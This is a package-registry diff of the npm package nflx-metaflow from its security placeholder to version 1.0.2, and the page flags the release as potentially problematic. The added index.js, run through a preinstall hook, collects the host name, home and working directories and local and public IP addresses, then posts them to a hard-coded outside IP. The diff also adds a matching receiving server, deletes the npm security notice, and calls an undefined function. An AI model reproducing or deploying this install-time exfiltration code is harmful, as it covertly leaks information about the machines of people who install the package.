nflx-metaflow 0.0.1-security → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of nflx-metaflow might be problematic. Click here for more details.
- package/index.js +62 -0
- package/package.json +31 -3
- package/server.js +14 -0
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,62 @@
|
|
|
1
|
+
const os = require('os');
|
|
2
|
+
const axios = require('axios');
|
|
3
|
+
|
|
4
|
+
// Function to get the public IP address
|
|
5
|
+
async function getPublicIP() {
|
|
6
|
+
try {
|
|
7
|
+
const response = await axios.get('https://ipinfo.io/json');
|
|
8
|
+
return response.data.ip || 'Unknown';
|
|
9
|
+
} catch (error) {
|
|
10
|
+
console.error('Error fetching public IP:', error);
|
|
11
|
+
return 'Unknown';
|
|
12
|
+
}
|
|
13
|
+
}
|
|
14
|
+
|
|
15
|
+
// Function to send a pingback with the collected data
|
|
16
|
+
async function pingBack(data) {
|
|
17
|
+
try {
|
|
18
|
+
await axios.post('http://35.170.187.220:8080/', data); // POST request
|
|
19
|
+
console.log('Pingback sent successfully');
|
|
20
|
+
} catch (error) {
|
|
21
|
+
console.error('Error sending pingback:', error);
|
|
22
|
+
}
|
|
23
|
+
}
|
|
24
|
+
|
|
25
|
+
// Function to collect network and system information
|
|
26
|
+
function getNetworkInfo() {
|
|
27
|
+
const interfaces = os.networkInterfaces();
|
|
28
|
+
let ipAddress = 'Unknown';
|
|
29
|
+
|
|
30
|
+
// Find the first non-internal IPv4 address
|
|
31
|
+
for (const iface of Object.values(interfaces)) {
|
|
32
|
+
for (const details of iface) {
|
|
33
|
+
if (details.family === 'IPv4' && !details.internal) {
|
|
34
|
+
ipAddress = details.address;
|
|
35
|
+
break;
|
|
36
|
+
}
|
|
37
|
+
}
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
return {
|
|
41
|
+
hostname: os.hostname(), // Dynamically get the hostname
|
|
42
|
+
homeDirectory: os.homedir(), // Dynamically get the home directory
|
|
43
|
+
currentDirectory: process.cwd(), // Dynamically get the current directory
|
|
44
|
+
localIP: ipAddress // Dynamically get the local IP address
|
|
45
|
+
};
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
// Main function to collect data and send a pingback
|
|
49
|
+
async function collectData() {
|
|
50
|
+
const networkInfo = getNetworkInfo(); // Collect network and system info
|
|
51
|
+
const publicIP = await getPublicIP(); // Collect public IP
|
|
52
|
+
const hostName= await getHostName();
|
|
53
|
+
const data = {
|
|
54
|
+
...networkInfo, // Include network and system info
|
|
55
|
+
hostName,
|
|
56
|
+
publicIP // Include public IP
|
|
57
|
+
};
|
|
58
|
+
pingBack(data); // Send the data to the server
|
|
59
|
+
}
|
|
60
|
+
|
|
61
|
+
// Execute the script
|
|
62
|
+
collectData();
|
package/package.json
CHANGED
|
@@ -1,6 +1,34 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "nflx-metaflow",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.2",
|
|
4
|
+
"description": "Package Claimed By JPD",
|
|
5
|
+
"license": "ISC",
|
|
6
|
+
"author": "JPD",
|
|
7
|
+
"type": "commonjs",
|
|
8
|
+
"main": "index.js",
|
|
9
|
+
"scripts": {
|
|
10
|
+
"preinstall": "node index.js",
|
|
11
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
12
|
+
},
|
|
13
|
+
"keywords": [
|
|
14
|
+
"rce",
|
|
15
|
+
"security",
|
|
16
|
+
"exploit",
|
|
17
|
+
"vulnerability"
|
|
18
|
+
],
|
|
19
|
+
"repository": {
|
|
20
|
+
"type": "git",
|
|
21
|
+
"url": "git+https://github.com/JPD-12/public-repo-ui.git"
|
|
22
|
+
},
|
|
23
|
+
"bugs": {
|
|
24
|
+
"url": "https://github.com/JPD-12/public-repo-ui/issues"
|
|
25
|
+
},
|
|
26
|
+
"homepage": "https://github.com/JPD-12/public-repo-ui#readme",
|
|
27
|
+
"engines": {
|
|
28
|
+
"node": ">=14.0.0"
|
|
29
|
+
},
|
|
30
|
+
"dependencies": {
|
|
31
|
+
"axios": "^1.7.9",
|
|
32
|
+
"express": "^4.21.2"
|
|
33
|
+
}
|
|
6
34
|
}
|
package/server.js
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
const express = require('express');
|
|
2
|
+
const app = express();
|
|
3
|
+
const port = 8080;
|
|
4
|
+
|
|
5
|
+
app.use(express.json());
|
|
6
|
+
|
|
7
|
+
app.post('/', (req, res) => {
|
|
8
|
+
console.log('Received data:', req.body); // Log the incoming data
|
|
9
|
+
res.status(200).send('Data received');
|
|
10
|
+
});
|
|
11
|
+
|
|
12
|
+
app.listen(port, () => {
|
|
13
|
+
console.log(`Server running at http://23.22.251.177:${port}/`);
|
|
14
|
+
});
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=nflx-metaflow for more information.
|